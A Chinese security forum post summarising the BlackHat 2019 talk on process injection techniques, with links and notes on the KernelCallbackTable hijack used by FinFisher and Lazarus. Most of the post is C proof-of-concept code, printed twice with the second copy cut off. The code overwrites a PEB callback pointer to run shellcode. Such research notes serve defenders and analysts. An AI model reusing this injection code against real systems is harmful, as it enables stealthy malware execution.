首页
社区
课程
招聘
[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记
发表于: 2022-2-10 13:37 8071

[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记

erfze 活跃值
12
2022-2-10 13:37
8071

BlackHat 2019议题,相关链接如下:

Presentation Slides
White Paper
Tool

作者于文中讨论的是True Process Injection:

Injection可划分为两项子技术:

所以作者在Paper中将所有提到的技术划分为两类——write primitive与execution method,每一项Injection后面会标注其属于哪一类:

作者在列出每一项Injection后分析其核心原理,给出POC,并给出评估:

最后列出表格总结前文提到的所有技术。作者在最后还提到一个有意思的Auxiliary Technique:

Paper中第16项 KernelControlTable execution method (FinFisher/FinSpy 2018),Lazarus在最近的攻击活动中利用了该技术——North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign,笔者在Lazarus KernelCallbackTable Hooking一文中对其进行了简要分析,ORCA666近日发布了POC

ORCA666发布的另一个项目snaploader

本文可以当作是一篇汇总,记录了笔者在阅读BlackHat 2019《Process Injection Techniques - Gotta Catch Them All》议题时所搜集到的相关资料,0x04 References部分1-7都在White Paper中有提到,笔者认为原文会比Paper更详尽一些。另,modexpHexacorn上有很多关于Process Injection这方面的博客。

 
 
 
 
 
 
 
 
 
 
 
 
PssSuccess = PssCaptureSnapshot(
    TargetProcess,
    PSS_QUERY_PROCESS_INFORMATION,
    NULL,
    &SnapshotHandle);
if (PssSuccess != ERROR_SUCCESS) {
    printf("[!] PssCaptureSnapshot failed: Win32 error %d \n", GetLastError());
    return FALSE;
}
PssSuccess = PssQuerySnapshot(
    SnapshotHandle,
    PSS_QUERY_PROCESS_INFORMATION,
    &PI,
    sizeof(PSS_PROCESS_INFORMATION)
);
if (PssSuccess != ERROR_SUCCESS) {
    printf("[!] PssQuerySnapshot failed: Win32 error %d \n", GetLastError());
    return FALSE;
}
if (PI.PebBaseAddress == NULL) {
    printf("[!] PI.PebBaseAddress IS NULL \n");
    return FALSE;
}
else {
    //ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead);
    RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB));
    if (peb.KernelCallbackTable == 0){
        printf("[!] KernelCallbackTable is NULL : Win32 error %d \n", GetLastError());
        return FALSE;
    }
    else {
        memcpy(&kct, peb.KernelCallbackTable, sizeof(kct));
        printf("[i] [BEFORE]kct.__fnDWORD : %0-16p \n", (void*) kct.__fnDWORD);
        if (Clean ==  TRUE){
            //ReadProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, Size, &lpNumberOfBytesRead);
            RtlMoveMemory(&Buffer, WMIsAO_ADD, Size);
            if (Buffer == NULL) {
                printf("[!] Buffer is NULL: Win32 error %d \n", GetLastError());
                return FALSE;
            }
        }
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old);
        if (Success != TRUE) {
            printf("[!] [1] VirtualProtect failed: Win32 error %d \n", GetLastError());
            return FALSE;
        }
 
        memcpy(WMIsAO_ADD, rawData, Size);
 
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old);
        if (Success != TRUE) {
            printf("[!] [2] VirtualProtect failed: Win32 error %d \n", GetLastError());
            return FALSE;
        }
        printf("[i] WMIsAO_ADD : %0-16p \n", (void*)WMIsAO_ADD);
 
 
        memcpy(&Newkct, &kct, sizeof(KERNELCALLBACKTABLE));
        Newkct.__fnDWORD = (ULONG_PTR)WMIsAO_ADD;
 
        pNewkct = VirtualAlloc(NULL, sizeof(KERNELCALLBACKTABLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        memcpy(pNewkct, &Newkct, sizeof(KERNELCALLBACKTABLE));
 
 
        Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), PAGE_READWRITE, &Old);
        //WriteProcessMemory(TargetProcess, (PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR), &lpNumberOfBytesWritten);
        RtlMoveMemory((PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR));
        Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), Old, &Old);
        //if (lpNumberOfBytesWritten == 0) {
        //    printf("[!] WriteProcessMemory failed: Win32 error %d \n", GetLastError());
        //    return FALSE;
        //}
        //else {
            Check_fnDWORDAfterOverWriting(TargetProcess);
            MessageBoxA(NULL, "test", "test", MB_OK); //this will trigger the shellcode, and u wont see the messagebox ;0
            if (Clean == TRUE) {
                //WriteProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, sizeof(Buffer), &lpNumberOfBytesWritten);
                RtlMoveMemory(WMIsAO_ADD, Buffer, sizeof(Buffer));
                ZeroMemory(Buffer, sizeof(Buffer));
            }
        //}
        return TRUE;
    }
}
PssSuccess = PssCaptureSnapshot(
    TargetProcess,
    PSS_QUERY_PROCESS_INFORMATION,
    NULL,
    &SnapshotHandle);
if (PssSuccess != ERROR_SUCCESS) {
    printf("[!] PssCaptureSnapshot failed: Win32 error %d \n", GetLastError());
    return FALSE;
}
PssSuccess = PssQuerySnapshot(
    SnapshotHandle,
    PSS_QUERY_PROCESS_INFORMATION,
    &PI,
    sizeof(PSS_PROCESS_INFORMATION)
);
if (PssSuccess != ERROR_SUCCESS) {
    printf("[!] PssQuerySnapshot failed: Win32 error %d \n", GetLastError());
    return FALSE;
}
if (PI.PebBaseAddress == NULL) {
    printf("[!] PI.PebBaseAddress IS NULL \n");
    return FALSE;
}
else {
    //ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead);
    RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB));
    if (peb.KernelCallbackTable == 0){
        printf("[!] KernelCallbackTable is NULL : Win32 error %d \n", GetLastError());
        return FALSE;
    }
    else {
        memcpy(&kct, peb.KernelCallbackTable, sizeof(kct));
        printf("[i] [BEFORE]kct.__fnDWORD : %0-16p \n", (void*) kct.__fnDWORD);
        if (Clean ==  TRUE){
            //ReadProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, Size, &lpNumberOfBytesRead);
            RtlMoveMemory(&Buffer, WMIsAO_ADD, Size);
            if (Buffer == NULL) {
                printf("[!] Buffer is NULL: Win32 error %d \n", GetLastError());
                return FALSE;
            }
        }
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old);
        if (Success != TRUE) {
            printf("[!] [1] VirtualProtect failed: Win32 error %d \n", GetLastError());
            return FALSE;
        }
 
        memcpy(WMIsAO_ADD, rawData, Size);
 
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old);
        if (Success != TRUE) {
            printf("[!] [2] VirtualProtect failed: Win32 error %d \n", GetLastError());
            return FALSE;
        }
        printf("[i] WMIsAO_ADD : %0-16p \n", (void*)WMIsAO_ADD);
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-2-10 13:51 被erfze编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//